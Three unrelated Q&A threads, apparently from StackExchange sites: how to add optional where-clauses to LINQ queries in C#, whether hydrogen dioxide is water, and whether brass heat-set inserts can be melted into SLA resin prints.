Comment: I have a stupid question, If these logs are being acquired from database, are we getting all the logs and then filtering them in memory ? If so then how can i pass the conditions to database
Comment: it's not filtering them in memory. it's building up a query and sending all the conditions in the database (at least for most linq-to-x providers)
Comment: getting this error `LINQ to Entities does not recognize the method 'System.String get_Item(System.String)' method, and this method cannot be translated into a store expression.`
Comment: @AliUmair I've had similar errors. LINQ doesn't understand array indexing. Pull your array element value into a local variable and use your variable in the query. Example: instead of:
 `var query = from x in context.Logs where x.User == myArray[0] select log;`
use:
 `var u = myArray[0];
 var query = from x in context.Logs where x.User == u select log;`
Answer: If you need to filter base on a List / Array use the following:
    public List<Data> GetData(List<string> Numbers, List<string> Letters)
    {
        if (Numbers == null)
            Numbers = new List<string>();

        if (Letters == null)
            Letters = new List<string>();

        var q = from d in database.table
                where (Numbers.Count == 0 || Numbers.Contains(d.Number))
                where (Letters.Count == 0 || Letters.Contains(d.Letter))
                select new Data
                {
                    Number = d.Number,
                    Letter = d.Letter,
                };
        return q.ToList();

    }

Comment: This is by far the best and most correct answer. The conditional || only compares the first part and skips the second if the first part is true... nicely done!
Comment: This construct includes the 'or' part of the expression in the generated SQL query. The accepted answer will generate more efficient statements. Depending on the data provider's optimizations, of course. LINQ-to-SQL may have better optimization, but LINQ-to-Entities doesn't.
Answer: I ended using an answer similar to Daren's, but with an IQueryable interface:
IQueryable<Log> matches = m_Locator.Logs;

// Users filter
if (usersFilter)
    matches = matches.Where(l => l.UserName == comboBoxUsers.Text);

 // Severity filter
 if (severityFilter)
     matches = matches.Where(l => l.Severity == comboBoxSeverity.Text);

 Logs = (from log in matches
         orderby log.EventTime descending
         select log).ToList();

That builds up the query before hitting the database. The command won't run until .ToList() at the end.
Answer: I solved this with an extension method to allow LINQ to be conditionally enabled in the middle of a fluent expression. This removes the need to break up the expression with if statements.
.If() extension method:
public static IQueryable<TSource> If<TSource>(
        this IQueryable<TSource> source,
        bool condition,
        Func<IQueryable<TSource>, IQueryable<TSource>> branch)
    {
        return condition ? branch(source) : source;
    }

This allows you to do this:
return context.Logs
     .If(filterBySeverity, q => q.Where(p => p.Severity == severity))
     .If(filterByUser, q => q.Where(p => p.User == user))
     .ToList();

Here's also an IEnumerable<T> version which will handle most other LINQ expressions:
public static IEnumerable<TSource> If<TSource>(
    this IEnumerable<TSource> source,
    bool condition,
    Func<IEnumerable<TSource>, IEnumerable<TSource>> branch)
    {
        return condition ? branch(source) : source;
    }

Answer: When it comes to conditional linq, I am very fond of the filters and pipes pattern.
http://blog.wekeroad.com/mvc-storefront/mvcstore-part-3/
Basically you create an extension method for each filter case that takes in the IQueryable and a parameter.
public static IQueryable<Type> HasID(this IQueryable<Type> query, long? id)
{
    return id.HasValue ? query.Where(o => i.ID.Equals(id.Value)) : query;
}

Answer: Doing this:
bool lastNameSearch = true/false; // depending if they want to search by last name,

having this in the where statement:
where (lastNameSearch && name.LastNameSearch == "smith")

means that when the final query is created, if lastNameSearch is false the query will completely omit any SQL for the last name search.
Comment: Depends on the data provider. LINQ-to-Entities doesn't optimize it that well.
Answer: Another option would be to use something like the PredicateBuilder discussed here.
It allows you to write code like the following:
var newKids  = Product.ContainsInDescription ("BlackBerry", "iPhone");

var classics = Product.ContainsInDescription ("Nokia", "Ericsson")
                  .And (Product.IsSelling());

var query = from p in Data.Products.Where (newKids.Or (classics))
            select p;

Note that I've only got this to work with Linq 2 SQL. EntityFramework does not implement Expression.Invoke, which is required for this method to work. I have a question regarding this issue here.
Comment: This is a great method for those using a Business Logic Layer on top of their repository along with a tool like AutoMapper to map between data transfer objects and Entity models. Using the predicate builder will allow you to dynamically modify your IQueryable before sending it to AutoMapper for flattening i.e. bringing the list into memory.

Note that it also supports Entity Framework.
Answer: You can create and use this extension method
public static IQueryable<TSource> WhereIf<TSource>(this IQueryable<TSource> source, bool isToExecute, Expression<Func<TSource, bool>> predicate)
{
    return isToExecute ? source.Where(predicate) : source;
}

Answer: It isn't the prettiest thing but you can use a lambda expression and pass your conditions optionally. In TSQL I do a lot of the following to make parameters optional:

WHERE Field = @FieldVar OR @FieldVar IS NULL

You could duplicate the same style with a the following lambda (an example of checking authentication):

MyDataContext db = new MyDataContext();
void RunQuery(string param1, string param2, int? param3){

Func checkUser = user =>

((param1.Length > 0)? user.Param1 == param1 : 1 == 1) &&
((param2.Length > 0)? user.Param2 == param2 : 1 == 1) &&
((param3 != null)? user.Param3 == param3 : 1 == 1);

User foundUser = db.Users.SingleOrDefault(checkUser);

}
Answer: I had a similar requirement recently and eventually found this in he MSDN.
CSharp Samples for Visual Studio 2008
The classes included in the DynamicQuery sample of the download allow you to create dynamic queries at runtime in the following format:
var query =
db.Customers.
Where("City = @0 and Orders.Count >= @1", "London", 10).
OrderBy("CompanyName").
Select("new(CompanyName as Name, Phone)");

Using this you can build a query string dynamically at runtime and pass it into the Where() method:
string dynamicQueryString = "City = \"London\" and Order.Count >= 10";
var q = from c in db.Customers.Where(queryString, null)
        orderby c.CompanyName
        select c;

Answer: Just use C#'s && operator:
var items = dc.Users.Where(l => l.Date == DateTime.Today && l.Severity == "Critical")

Edit: Ah, need to read more carefully. You wanted to know how to conditionally add additional clauses. In that case, I have no idea. :) What I'd probably do is just prepare several queries, and execute the right one, depending on what I ended up needing.
Answer: You could use an external method:
var results =
    from rec in GetSomeRecs()
    where ConditionalCheck(rec)
    select rec;

...

bool ConditionalCheck( typeofRec input ) {
    ...
}

This would work, but can't be broken down into expression trees, which means Linq to SQL would run the check code against every record.
Alternatively:
var results =
    from rec in GetSomeRecs()
    where
        (!filterBySeverity || rec.Severity == severity) &&
        (!filterByUser|| rec.User == user)
    select rec;

That might work in expression trees, meaning Linq to SQL would be optimised.
Answer: Well, what I thought was you could put the filter conditions into a generic list of Predicates:
    var list = new List<string> { "me", "you", "meyou", "mow" };

    var predicates = new List<Predicate<string>>();

    predicates.Add(i => i.Contains("me"));
    predicates.Add(i => i.EndsWith("w"));

    var results = new List<string>();

    foreach (var p in predicates)
        results.AddRange(from i in list where p.Invoke(i) select i);

That results in a list containing "me", "meyou", and "mow".
You could optimize that by doing the foreach with the predicates in a totally different function that ORs all the predicates.


Is Hydrogen Dioxide Water? If so, what is the chemical compound and differences between H2O and H2O2?

Question: Four of us were debating what the actual compounds and terms (scientifically) for water. H2O we all agreed upon until one person said, "..yes and its Hydrogen Dioxide". Myself and 1 of the four challenged that answer by saying, "One does not drink Hydrogen Dioxide"! This turned into an half an hour debate and furious flipping through the internet, (which DID NOT provide a clear and concise answer).
Please help make this clear.
Comment: The very first hit you get by typing 'hydrogen dioxide' in Google yields the answer you were looking for.
Comment: "*Please help make this clear*". The "di-" prefix means "two". Given that water is $H_2O$ (Two $H$s and one $O$), I think you are quite capable of clearing things up yourself ;)
Comment: https://chemistry.stackexchange.com/questions/53533/why-is-h2o2-named-hydrogen-peroxide
Answer: $\ce{H2O}$ (Dihydrogen monoxide) is water, while $\ce{H2O2}$ (dihydrogen dioxide) is hydrogen peroxide, a strong and unstable oxidizing agent.
Answer: The terminology is such that the term "oxide" means a negative ion with a double negative charge, or oxidation state of -2, on a single oxygen atom. Thus, H2O, known as water, can be interpreted as an oxide, but H2O2 cannot, as the -2 "charge" is equally distributed between both oxygen atoms, meaning each has only -1.
Side fact: F2O is not an oxide either, as oxygen hosts positive charge and has the oxidation state of +2, so the compound should be refered to as OF2 and named oxygen difluoride.


Using heat-set inserts with SLA printed part

Question: I have an SLA printed part I want to put a brass threaded insert in using a soldering iron. The insert is slightly larger than the hole so I would assume the edge will melt and re-freeze around the teeth. Are there any issues with melting SLA or this idea in general?
Comment: Why not go with a press-fit, plus a couple drops of epoxy if so inclined?
Comment: @CarlWitthoft it's a thin thru hole unfortunately, and when I modified the design (this is an assembly not a single part) I can no longer access the back face to put a nut on, hence the idea of making it threaded.
Answer: The plastic used in SLA printing is what is known as a thermoset plastic, as opposed to the thermoplastic plastics used in FDM printing. What this means, is that it can not be melted. The reaction that hardens SLA materials is irreversible. If you heat up the plastic it won't melt, it will just burn (if it gets hot enough). What you're planning is a bad idea, and it won't work.
Comment: OK, that's that idea out of the window, but thanks for the advice. I don't think there are any good alternatives for putting an insert in sadly, looks like I'll have to put the mount somewhere else (it's an old model and I really don't want to reprint it).
Comment: Well, there's an indirect solution:  print the part with an oversize hole with a deliberately rough boundary .  Then line the hole with some fresh plastic, insert the metal part,  and heat to melt& fuse the new material into both the metal part and the boundary.    Seems like a lot of work to me.
Comment: @CarlWitthoft indeed. Thankfully there are other non-SLA parts in the assembly I can reprint more easily, it's just more awkward to mount the sensor there. But it looks like that's the best option.
Comment: Another approach would be to do as Carl suggests, but apply the liquid resin to the inside of the insert. If the resin is daylight cure or UV cure, placing the insert area in the sun should fuse the insert in place.
Answer: There is an alternative.  Use screw to expand inserts before final curing.
After washing, but before curing, place the threaded insert into the hole.  Use a screw to expand it into the hole walls.  Curing will then 'fix' the insert into the hole.
Hope this late advise is usable.
TC Carr
https://www.mcmaster.com/screw-to-expand-inserts/
Answer: Is it possible to make the hole larger, put the brass insert with a pre-installed screw inside the hole, fill the area with resin and cure with UV lamp?
Comment: Hi and welcome to 3DP! Unfortunately, your answer does not answer the question. Without wishing to sound harsh, StackExchange is a Q&A site, and not a forum of threaded messages. The reason for this is to aid the search for answers to issues, and provide it in a structured Q&A way. I know that this might seem a pain, but can you repost your question using the [Ask Question](/questions/ask) link at the top of the page? When you repost your new question, please feel free to refer back to this original question using the URL, seeing as it is the reason why you posted in the first place. Thanks!